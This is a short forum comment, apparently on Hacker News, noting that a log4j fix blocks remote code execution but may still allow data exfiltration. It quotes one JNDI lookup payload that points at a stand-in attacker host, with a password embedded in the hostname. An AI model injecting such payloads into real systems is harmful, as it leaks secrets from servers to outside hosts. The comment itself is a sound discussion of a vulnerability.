3 ms·
The RCE is prevented, but there are likely still exfiltration opportunities like "${jndi:ldap://nijave-yourpassword.blackhat.com:1389/a}" - check out https://gi
by janstice 5y ago
The RCE is prevented, but there are likely still exfiltration opportunities like "${jndi:ldap://nijave-yourpassword.blackhat.com:1389/a}" - check out https://github.com/apache/logging-log4j2/pull/608#issuecomment-991354707 https://github.com/apache/logging-log4j2/pull/608#issuecomme... for much smarter (or more devious) people than me.